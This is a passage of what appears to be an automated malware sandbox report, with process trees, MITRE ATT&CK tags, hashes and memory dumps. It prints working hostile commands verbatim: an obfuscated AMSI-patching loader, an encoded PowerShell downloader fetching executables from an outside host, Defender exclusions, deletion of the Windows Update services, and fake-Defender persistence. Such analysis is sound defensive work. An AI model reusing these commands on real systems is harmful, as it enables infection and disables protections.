+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+'bl'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PjpgkFZgdltgJv).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+'d'+'');$LFuAwxksURo.DefineMethod(''+[Char](73)+''+[Char](110)+'vok'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+[Char](72)+'i'+'d'+''+[Char](101)+'B'+[Char](121)+''+'S'+'i'+'g'+','+'N'+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+''+'t'+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+'l',$ZDeeNbtcrx,$PjpgkFZgdltgJv).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+'age'+'d'+'');Write-Output $LFuAwxksURo.CreateType();}$WudLbXeGtrpCR=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'s'+'t'+'e'+[Char](109)+'.'+[Char](100)+'l'+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+'ro'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+'af'+'e'+'W'+[Char](117)+''+'d'+''+'L'+''+[Char](98)+''+[Char](88)+'e'+[Char](71)+'t'+'r'+''+'p'+''+[Char](67)+'R');$PwAhdESkWLCRsj=$WudLbXeGtrpCR.GetMethod(''+[Char](80)+''+'w'+'A'+[Char](104)+''+[Char](100)+'E'+[Char](83)+''+[Char](107)+''+[Char](87)+''+[Char](76)+'C'+[Char](82)+''+[Char](115)+''+'j'+'',[Reflection.BindingFlags]''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'St'+[Char](97)+'tic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$znnFTaZBxZbQcbvXByf=qmOhnztxVlwG @([String])([IntPtr]);$hfpiiZUxbPHEcKZprASpaE=qmOhnztxVlwG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NVqvSBPhfYz=$WudLbXeGtrpCR.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'l'+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+'2'+'.'+''+'d'+''+[Char](108)+'l')));$SzmGwVCXDIUtVV=$PwAhdESkWLCRsj.Invoke($Null,@([Object]$NVqvSBPhfYz,[Object]('L'+'o'+''+[Char](97)+'d'+[Char](76)+''+'i'+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+'A'+'')));$qFnxonIoVSKQbBXdR=$PwAhdESkWLCRsj.Invoke($Null,@([Object]$NVqvSBPhfYz,[Object](''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+'t'+'')));$RjkWqJj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SzmGwVCXDIUtVV,$znnFTaZBxZbQcbvXByf).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$gYnNjAYioaSEJuIyO=$PwAhdESkWLCRsj.Invoke($Null,@([Object]$RjkWqJj,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+'fe'+'r'+'')));$aQxwFfrZIh=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qFnxonIoVSKQbBXdR,$hfpiiZUxbPHEcKZprASpaE).Invoke($gYnNjAYioaSEJuIyO,[uint32]8,4,[ref]$aQxwFfrZIh);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$gYnNjAYioaSEJuIyO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qFnxonIoVSKQbBXdR,$hfpiiZUxbPHEcKZprASpaE).Invoke($gYnNjAYioaSEJuIyO,[uint32]8,0x20,[ref]$aQxwFfrZIh);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+[Char](65)+'RE').GetValue(''+'d'+''+'i'+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:752

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2756
- C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe
  "C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    PID:4908
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2116
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1964
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:4656
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:432
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3344
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 432 -s 156
        6⤵
        Program crash
        
        PID:2452
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3452
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1016
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4808 -s 148
    3⤵
    - Program crash
    PID:552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5084
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4800
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4712
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4072
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1972
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2968
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:100
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:372
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2252
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3784
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3828
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 4808 -ip 4808
1⤵
PID:4568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 432 -ip 432
1⤵
PID:1384

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
3a0fffb985ffb435e499c1d9d4f01a8a

SHA1
1a7f0569fe2eed0e106992527c9bed9c5deddbe4

SHA256
997aa9f871d3d61092538ae3bb07ef4f4ad09173864c107d7d24eb30a6889130

SHA512
4a4ac3ca0251b7a4b1fc757cf61816853c03d0b45f433fe4911e938fd280b6a993708bcc8ea711120a448f78bac0f797be74dca0097a9af4bc7e08f9331a7d63

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
a7ce8cefc3f798abe5abd683d0ef26dd

SHA1
b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e

SHA256
5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a

SHA512
c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
464KB

MD5
990c8e3fc56a2734631b51fc61a6779a

SHA1
55a16cc67fc52cdf0690387e083955048106d48a

SHA256
d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

SHA512
f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
464KB

MD5
990c8e3fc56a2734631b51fc61a6779a

SHA1
55a16cc67fc52cdf0690387e083955048106d48a

SHA256
d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

SHA512
f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

Download Submit
memory/1964-146-0x00000000057F0000-0x0000000005856000-memory.dmp

Filesize
408KB

Download
memory/1964-151-0x0000000007770000-0x0000000007DEA000-memory.dmp

Filesize
6.5MB

Download
memory/1964-155-0x0000000007360000-0x000000000736E000-memory.dmp

Filesize
56KB

Download
memory/1964-156-0x00000000073B0000-0x00000000073CA000-memory.dmp

Filesize
104KB

Download
memory/1964-157-0x00000000073A0000-0x00000000073A8000-memory.dmp

Filesize
32KB

Download
memory/1964-158-0x00000000074C0000-0x00000000074E2000-memory.dmp

Filesize
136KB

Download
memory/1964-159-0x00000000083A0000-0x0000000008944000-memory.dmp

Filesize
5.6MB

Download
memory/1964-153-0x00000000071A0000-0x00000000071AA000-memory.dmp

Filesize
40KB

Download
memory/1964-152-0x0000000007130000-0x000000000714A000-memory.dmp

Filesize
104KB

Download
memory/1964-154-0x00000000073F0000-0x0000000007486000-memory.dmp

Filesize
600KB

Download
memory/1964-150-0x00000000063B0000-0x00000000063CE000-memory.dmp

Filesize
120KB

Download
memory/1964-149-0x0000000075560000-0x00000000755AC000-memory.dmp

Filesize
304KB

Download
memory/1964-148-0x00000000063D0000-0x0000000006402000-memory.dmp

Filesize
200KB

Download
memory/1964-147-0x0000000005E10000-0x0000000005E2E000-memory.dmp

Filesize
120KB

Download
memory/1964-145-0x0000000005780000-0x00000000057E6000-memory.dmp

Filesize
408KB

Download
memory/1964-144-0x0000000004E70000-0x0000000004E92000-memory.dmp

Filesize
136KB

Download
memory/1964-143-0x00000000050E0000-0x0000000005708000-memory.dmp

Filesize
6.2MB

Download
memory/1964-142-0x0000000002820000-0x0000000002856000-memory.dmp

Filesize
216KB

Download
memory/2116-140-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2116-134-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3148-214-0x00007FF9AE8D0000-0x00007FF9AEAC5000-memory.dmp

Filesize
2.0MB

Download
memory/3148-215-0x00007FF9ADC00000-0x00007FF9ADCBE000-memory.dmp

Filesize
760KB

Download
memory/3148-213-0x00007FF98FA90000-0x00007FF990551000-memory.dmp

Filesize
10.8MB

Download
memory/3344-183-0x0000000004FF0000-0x000000000502C000-memory.dmp

Filesize
240KB

Download
memory/3344-181-0x0000000004F50000-0x0000000004F62000-memory.dmp

Filesize
72KB

Download
memory/3344-188-0x0000000006BB0000-0x0000000006D72000-memory.dmp

Filesize
1.8MB

Download
memory/3344-189-0x00000000072B0000-0x00000000077DC000-memory.dmp

Filesize
5.2MB

Download
memory/3344-190-0x0000000006B40000-0x0000000006B90000-memory.dmp

Filesize
320KB

Download
memory/3344-187-0x0000000006080000-0x000000000609E000-memory.dmp

Filesize
120KB

Download
memory/3344-186-0x0000000005F60000-0x0000000005FD6000-memory.dmp

Filesize
472KB

Download
memory/3344-174-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

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memory/3344-180-0x00000000054D0000-0x0000000005AE8000-memory.dmp

Filesize
6.1MB

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memory/3344-182-0x0000000005080000-0x000000000518A000-memory.dmp

Filesize
1.0MB

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memory/3452-191-0x00000000021D4000-0x00000000026D8000-memory.dmp

Filesize
5.0MB

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memory/3452-184-0x00000000021D4000-0x00000000026D8000-memory.dmp

Filesize
5.0MB

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memory/3452-185-0x00000000026E6000-0x0000000002823000-memory.dmp

Filesize
1.2MB

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memory/3452-205-0x00000000026E6000-0x0000000002823000-memory.dmp

Filesize
1.2MB

Download
memory/3828-210-0x00007FF98F140000-0x00007FF98FC01000-memory.dmp

Filesize
10.8MB

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memory/3828-198-0x00007FF98F140000-0x00007FF98FC01000-memory.dmp

Filesize
10.8MB

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memory/3940-221-0x00007FF9ADC00000-0x00007FF9ADCBE000-memory.dmp

Filesize
760KB

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memory/3940-220-0x00007FF9AE8D0000-0x00007FF9AEAC5000-memory.dmp

Filesize
2.0MB

Download
memory/3940-216-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/3940-219-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4656-177-0x0000000005140000-0x000000000514A000-memory.dmp

Filesize
40KB

Download
